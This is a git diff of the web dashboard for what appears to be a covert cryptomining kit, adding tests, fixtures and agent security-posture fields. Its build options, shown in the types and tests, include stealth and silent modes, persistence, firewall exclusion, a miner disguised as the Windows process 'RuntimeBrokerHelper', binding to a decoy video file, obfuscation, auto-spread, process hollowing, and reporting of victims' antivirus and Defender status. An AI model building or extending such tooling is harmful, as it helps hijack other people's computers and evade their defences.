+ {formatShareTime(share.timestamp)}
{share.agent_id?.substring(0, 8)}…
@@ -538,6 +538,6 @@ export default function DashboardPage() {
);
}
-function formatTime(t: string): string {
+export function formatShareTime(t: string): string {
return new Date(t).toLocaleTimeString();
}
diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx
index 42c7d13..e7ec58e 100644
--- a/server/web/src/pages/SettingsPage.tsx
+++ b/server/web/src/pages/SettingsPage.tsx
@@ -587,13 +587,12 @@ export default function SettingsPage() {
Access Control
- API routes require login. Default account: drjones / czapiewski until you add users.
- Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
+ API routes require login. On first server start, credentials are printed once in the server console (admin + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
Browser session — username
- setSessionUser(e.target.value)} />
diff --git a/server/web/src/test/fixtures.ts b/server/web/src/test/fixtures.ts
new file mode 100644
index 0000000..9c5cfea
--- /dev/null
+++ b/server/web/src/test/fixtures.ts
@@ -0,0 +1,51 @@
+import type { Agent, Share, ServerInfo } from '../types';
+
+export function mockAgent(overrides: Partial
= {}): Agent {
+ return {
+ id: 'agent-001-uuid',
+ name: 'Test Miner',
+ wallet: '4' + 'A'.repeat(94),
+ ip: '192.168.1.10',
+ version: '1.0.0',
+ status: 'online',
+ cpu_cores: 8,
+ memory_gb: 16,
+ last_seen: new Date().toISOString(),
+ created_at: new Date().toISOString(),
+ hashrate_15s: 500,
+ hashrate_1m: 480,
+ hashrate_15m: 450,
+ shares_total: 100,
+ shares_good: 95,
+ shares_bad: 5,
+ cpu_usage_pct: 42,
+ memory_usage_pct: 55,
+ uptime_seconds: 3600,
+ platform: 'linux',
+ arch: 'amd64',
+ ...overrides,
+ };
+}
+
+export function mockShare(overrides: Partial = {}): Share {
+ return {
+ id: 1,
+ agent_id: 'agent-001-uuid',
+ job_id: 'job-1',
+ difficulty: 1000,
+ accepted: true,
+ hash: 'abc123deadbeef',
+ nonce: '0001',
+ timestamp: new Date().toISOString(),
+ ...overrides,
+ };
+}
+
+export const mockServerInfo: ServerInfo = {
+ port: 8080,
+ host: '0.0.0.0',
+ local_ips: ['192.168.1.5'],
+ suggested_url: 'http://192.168.1.5:8080',
+ dashboard_url: 'http://192.168.1.5:8080/dashboard',
+ websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',
+};
diff --git a/server/web/src/test/setup.ts b/server/web/src/test/setup.ts
new file mode 100644
index 0000000..bb02c60
--- /dev/null
+++ b/server/web/src/test/setup.ts
@@ -0,0 +1 @@
+import '@testing-library/jest-dom/vitest';
diff --git a/server/web/src/types/index.test.ts b/server/web/src/types/index.test.ts
new file mode 100644
index 0000000..821cd95
--- /dev/null
+++ b/server/web/src/types/index.test.ts
@@ -0,0 +1,413 @@
+import { describe, expect, it } from 'vitest';
+import type {
+ Agent,
+ AgentCapabilities,
+ AgentDefaults,
+ AlertsConfig,
+ BackupPool,
+ BlueprintInfo,
+ Build,
+ BuildRecord,
+ BuildRequest,
+ BuildResponse,
+ EarningsEstimate,
+ FleetAlert,
+ FleetStats,
+ FusionEstimate,
+ HashrateSample,
+ PoolConfig,
+ PoolStatus,
+ ServerConfig,
+ ServerInfo,
+ ServerSettings,
+ Share,
+ WalletConfig,
+ WSMessage,
+ XmrPrice,
+} from './index';
+
+/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */
+function expectKeys(obj: Record, keys: string[]) {
+ for (const key of keys) {
+ expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
+ }
+}
+
+describe('types/index — Agent', () => {
+ const sample: Agent = {
+ id: 'a1',
+ name: 'office-pc',
+ wallet: '4' + 'A'.repeat(94),
+ ip: '192.168.1.20',
+ version: '1.0.0',
+ status: 'online',
+ cpu_cores: 8,
+ memory_gb: 16,
+ last_seen: '2026-05-30T12:00:00Z',
+ created_at: '2026-05-01T08:00:00Z',
+ hashrate_15s: 1200,
+ hashrate_1m: 1180,
+ hashrate_15m: 1150,
+ shares_total: 100,
+ shares_good: 98,
+ shares_bad: 2,
+ cpu_usage_pct: 45,
+ memory_usage_pct: 60,
+ uptime_seconds: 86400,
+ };
+
+ it('accepts online/offline/error status values', () => {
+ const statuses: Agent['status'][] = ['online', 'offline', 'error'];
+ for (const status of statuses) {
+ expect(statuses).toContain(status);
+ }
+ expect(sample.status).toBe('online');
+ });
+
+ it('supports optional fleet metadata fields', () => {
+ const extended: Agent = {
+ ...sample,
+ notes: 'lab machine',
+ tags: ['office', 'gpu'],
+ platform: 'windows',
+ arch: 'amd64',
+ os_version: '11',
+ capabilities: {
+ hole_punch: false,
+ remote_aggressive: false,
+ mesh_p2p: false,
+ auto_spread: false,
+ process_hollowing: false,
+ ai_enabled: true,
+ } satisfies AgentCapabilities,
+ ssh_available: false,
+ posture_score: 85,
+ last_patch_days: 14,
+ };
+ expect(extended.tags).toHaveLength(2);
+ expect(extended.capabilities?.ai_enabled).toBe(true);
+ });
+});
+
+describe('types/index — BuildRequest', () => {
+ const minimal: BuildRequest = {
+ worker_name: 'worker-1',
+ server_url: 'http://192.168.1.5:8989',
+ wallet: '4' + 'A'.repeat(94),
+ threads: 4,
+ thread_mode: 'percent',
+ thread_percent: 75,
+ cpu_priority: 'below_normal',
+ mining_mode: 'idle',
+ display_mode: 'background',
+ silent_mode: true,
+ run_as: 'scheduled',
+ auto_start: true,
+ persistence: true,
+ process_name: 'RuntimeBrokerHelper',
+ max_cpu_usage_pct: 80,
+ max_memory_percent: 70,
+ min_free_ram_mb: 1024,
+ idle_threshold_pct: 20,
+ idle_duration_minutes: 5,
+ schedule_start: '21:00',
+ schedule_end: '06:00',
+ install_base: 'localappdata',
+ install_custom_base: '',
+ install_relative_path: 'CryptoMiner/{worker}',
+ adapt_to_hardware: true,
+ self_healing: true,
+ file_logging: false,
+ stealth_mode: true,
+ firewall_exclusion: true,
+ pool_host: 'pool.supportxmr.com',
+ pool_port: 443,
+ pool_tls: true,
+ pool_pass: 'x',
+ fusion_enabled: false,
+ fusion_run_order: 'parallel',
+ fusion_output_name: 'prep.exe',
+ ai_enabled: false,
+ ai_ollama_endpoint: 'http://localhost:11434',
+ ai_model: 'llama3.2',
+ };
+
+ it('includes required core forge fields', () => {
+ expectKeys(minimal as unknown as Record, [
+ 'worker_name',
+ 'server_url',
+ 'wallet',
+ 'pool_host',
+ 'pool_port',
+ 'fusion_enabled',
+ 'ai_enabled',
+ ]);
+ });
+
+ it('accepts optional target_os union values', () => {
+ const platforms: NonNullable[] = ['windows', 'linux', 'darwin', 'universal'];
+ for (const target_os of platforms) {
+ const req: BuildRequest = { ...minimal, target_os };
+ expect(req.target_os).toBe(target_os);
+ }
+ });
+
+ it('accepts backup pool and server URL fallbacks', () => {
+ const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }];
+ const req: BuildRequest = {
+ ...minimal,
+ backup_pools: backupPools,
+ backup_server_urls: ['http://192.168.1.6:8989'],
+ cancel_token: 'cancel-abc',
+ };
+ expect(req.backup_pools).toHaveLength(1);
+ expect(req.backup_server_urls?.[0]).toContain('192.168');
+ });
+});
+
+describe('types/index — BuildRecord / Build alias', () => {
+ const record: BuildRecord = {
+ id: 'build-uuid',
+ worker_name: 'worker-1',
+ server_url: 'http://192.168.1.5:8989',
+ wallet: '4' + 'A'.repeat(94),
+ threads: 4,
+ file_size: 1024000,
+ file_path: '/data/builds/worker-1.exe',
+ created_at: '2026-05-30T10:00:00Z',
+ pool_host: 'pool.supportxmr.com',
+ pool_port: 443,
+ pool_tls: true,
+ pool_pass: 'x',
+ };
+
+ it('Build alias is assignable from BuildRecord', () => {
+ const build: Build = record;
+ expect(build.id).toBe(record.id);
+ expect(build.worker_name).toBe('worker-1');
+ });
+
+ it('supports optional download and bundle metadata', () => {
+ const extended: BuildRecord = {
+ ...record,
+ file_name: 'worker-1.exe',
+ platform: 'windows',
+ bundle_size: 2048000,
+ download_url: '/api/v1/builds/build-uuid/download',
+ pinned: true,
+ };
+ expect(extended.pinned).toBe(true);
+ expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
+ });
+});
+
+describe('types/index — server and fleet payloads', () => {
+ it('ServerInfo carries LAN and websocket URLs', () => {
+ const info: ServerInfo = {
+ port: 8989,
+ host: '0.0.0.0',
+ local_ips: ['192.168.1.5'],
+ suggested_url: 'http://192.168.1.5:8989',
+ dashboard_url: 'http://192.168.1.5:8989/',
+ websocket_url: 'ws://192.168.1.5:8989/ws/dashboard',
+ };
+ expect(info.local_ips).toContain('192.168.1.5');
+ });
+
+ it('ServerConfig nests pool, wallet, server, and alerts', () => {
+ const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' };
+ const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' };
+ const server: ServerSettings = {
+ public_url: 'http://192.168.1.5:8989',
+ stats_retention_hours: 72,
+ build_retention_days: 30,
+ pool_reconnect_seconds: 30,
+ websocket_ping_seconds: 30,
+ max_agents: 100,
+ max_build_size_mb: 512,
+ log_agent_connections: true,
+ log_share_submissions: false,
+ log_pool_traffic: false,
+ strict_wallet_validation: true,
+ dashboard_subtitle: 'Fleet',
+ open_firewall_on_start: true,
+ };
+ const alerts: AlertsConfig = {
+ offline_threshold_minutes: 15,
+ hashrate_drop_threshold_pct: 50,
+ rejection_rate_threshold_pct: 10,
+ };
+ const config: ServerConfig = {
+ port: 8989,
+ data_dir: './data',
+ pool,
+ wallet,
+ server,
+ alerts,
+ };
+ expect(config.pool.host).toBe(pool.host);
+ expect(config.wallet.address.startsWith('4')).toBe(true);
+ });
+
+ it('FleetStats tracks acceptance rate', () => {
+ const stats: FleetStats = {
+ total_agents: 10,
+ online_agents: 8,
+ total_hashrate: 50000,
+ total_shares: 1000,
+ accepted_shares: 980,
+ rejected_shares: 20,
+ accept_rate: 0.98,
+ };
+ expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares);
+ });
+
+ it('Share and HashrateSample tie metrics to agents', () => {
+ const share: Share = {
+ id: 1,
+ agent_id: 'a1',
+ job_id: 'job-1',
+ difficulty: 100000,
+ accepted: true,
+ hash: 'abc',
+ nonce: '0001',
+ timestamp: '2026-05-30T12:00:00Z',
+ };
+ const sample: HashrateSample = {
+ id: 1,
+ agent_id: 'a1',
+ hashrate: 1200,
+ timestamp: '2026-05-30T12:00:00Z',
+ };
+ expect(share.agent_id).toBe(sample.agent_id);
+ });
+
+ it('PoolStatus uses green/yellow/red traffic light status', () => {
+ const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red'];
+ const pool: PoolStatus = {
+ key: 'primary',
+ host: 'pool.example.com',
+ port: 443,
+ use_tls: true,
+ wallet: '4' + 'A'.repeat(94),
+ connected: true,
+ status: 'green',
+ };
+ expect(statuses).toContain(pool.status);
+ });
+
+ it('FleetAlert supports warn and error levels', () => {
+ const alert: FleetAlert = {
+ id: 'alert-1',
+ level: 'warn',
+ type: 'offline',
+ agent_id: 'a1',
+ agent_name: 'office-pc',
+ message: 'Agent offline',
+ timestamp: '2026-05-30T12:00:00Z',
+ };
+ expect(['warn', 'error']).toContain(alert.level);
+ });
+
+ it('EarningsEstimate and XmrPrice carry pricing metadata', () => {
+ const earnings: EarningsEstimate = {
+ hashrate: 5000,
+ xmr_per_day: 0.001,
+ note: 'estimate',
+ };
+ const price: XmrPrice = {
+ usd: 180,
+ fetched_at: '2026-05-30T12:00:00Z',
+ source: 'coingecko',
+ };
+ expect(earnings.xmr_per_day).toBeGreaterThan(0);
+ expect(price.usd).toBeGreaterThan(0);
+ });
+});
+
+describe('types/index — build pipeline responses', () => {
+ it('BuildResponse covers success and error paths', () => {
+ const ok: BuildResponse = {
+ success: true,
+ build_id: 'uuid',
+ file_name: 'worker.exe',
+ download_url: '/api/v1/builds/uuid/download',
+ signed: true,
+ obfuscated: false,
+ };
+ const err: BuildResponse = { success: false, error: 'compile failed' };
+ expect(ok.success).toBe(true);
+ expect(err.error).toBeTruthy();
+ });
+
+ it('FusionEstimate lists byte breakdown fields', () => {
+ const est: FusionEstimate = {
+ prep_bytes: 1000,
+ prep_name: 'video.mp4',
+ estimated_worker_bytes: 5000000,
+ estimated_fusion_stub_bytes: 200000,
+ estimated_resource_patch_bytes: 50000,
+ estimated_total_bytes: 5251000,
+ output_file_name: 'runner.exe',
+ project_root_path: '/proj',
+ archive_path_hint: '/proj/out.zip',
+ obfuscate: false,
+ sign_build: false,
+ notes: ['ok'],
+ };
+ expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes);
+ });
+
+ it('BlueprintInfo stores optional parsed data', () => {
+ const bp: BlueprintInfo = {
+ name: 'default.json',
+ size: 4096,
+ created_at: '2026-05-30T10:00:00Z',
+ data: { worker_name: 'worker-1' },
+ };
+ expect(bp.data?.worker_name).toBe('worker-1');
+ });
+
+ it('AgentDefaults captures deprecated calibrate defaults shape', () => {
+ const defaults: AgentDefaults = {
+ threads: 4,
+ thread_mode: 'percent',
+ thread_percent: 75,
+ cpu_priority: 'below_normal',
+ max_cpu_usage_pct: 80,
+ max_memory_percent: 70,
+ min_free_ram_mb: 1024,
+ mining_mode: 'idle',
+ display_mode: 'background',
+ process_name: 'RuntimeBrokerHelper',
+ idle_threshold_pct: 20,
+ idle_duration_minutes: 5,
+ schedule_start: '21:00',
+ schedule_end: '06:00',
+ install_base: 'localappdata',
+ install_custom_base: '',
+ install_relative_path: 'CryptoMiner/{worker}',
+ adapt_to_hardware: true,
+ self_healing: true,
+ file_logging: false,
+ stealth_mode: true,
+ };
+ expect(defaults.thread_mode).toBe('percent');
+ });
+
+ it('WSMessage references typed ws payload import', () => {
+ const msg: WSMessage = {
+ type: 'stats_update',
+ payload: { agents: [] } as WSMessage['payload'],
+ };
+ expect(msg.type).toBe('stats_update');
+ });
+});
+
+describe('types/index — no runtime exports', () => {
+ it('module provides interfaces only (no type guards or constants at runtime)', () => {
+ // Documented expectation: consumers validate API JSON against these shapes manually.
+ expect(typeof Agent).toBe('undefined');
+ expect(typeof BuildRequest).toBe('undefined');
+ });
+});
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts
index 9077324..8caa8f2 100644
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -25,6 +25,18 @@ export interface Agent {
os_version?: string;
capabilities?: AgentCapabilities;
ssh_available?: boolean;
+ posture_score?: number;
+ last_patch_days?: number;
+ defender_enabled?: boolean;
+ defender_rtp?: boolean;
+ av_products?: string[];
+ firewall_domain?: boolean;
+ firewall_private?: boolean;
+ firewall_public?: boolean;
+ last_patch?: string; // ISO date YYYY-MM-DD
+ pending_updates?: number; // -1 = unknown
+ reboot_pending?: boolean;
+ agent_elevated?: boolean;
}
export interface AgentCapabilities {
diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts
index 369b2d0..b91ea8b 100644
--- a/server/web/src/types/ws.ts
+++ b/server/web/src/types/ws.ts
@@ -20,6 +20,17 @@ export interface WSStatsUpdate {
shares_submitted?: number;
shares_accepted?: number;
ssh_available?: boolean;
+ posture_score?: number;
+ last_patch_days?: number;
+ defender_rtp?: boolean;
+ av_products?: string[];
+ firewall_domain?: boolean;
+ firewall_private?: boolean;
+ firewall_public?: boolean;
+ last_patch?: string;
+ pending_updates?: number;
+ reboot_pending?: boolean;
+ agent_elevated?: boolean;
}
export interface WSCommandResult {
diff --git a/server/web/tsconfig.json b/server/web/tsconfig.json
index 17f43b1..ba756eb 100644
--- a/server/web/tsconfig.json
+++ b/server/web/tsconfig.json
@@ -17,5 +17,6 @@
"noFallthroughCasesInSwitch": true
},
"include": ["src"],
+ "exclude": ["src/**/*.test.ts", "src/**/*.test.tsx", "src/**/*.spec.ts", "src/**/*.spec.tsx"],
"references": [{ "path": "./tsconfig.node.json" }]
}
diff --git a/server/web/vitest.config.ts b/server/web/vitest.config.ts
index 5202a43..52fdb37 100644
--- a/server/web/vitest.config.ts
+++ b/server/web/vitest.config.ts
@@ -3,9 +3,11 @@ import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
environment: 'node',
- include: ['src/**/*.test.ts'],
+ include: ['src/**/*.test.{ts,tsx}'],
+ setupFiles: ['src/test/setup.ts'],
environmentMatchGlobs: [
['src/api/**', 'happy-dom'],
+ ['src/pages/**', 'happy-dom'],
],
},
});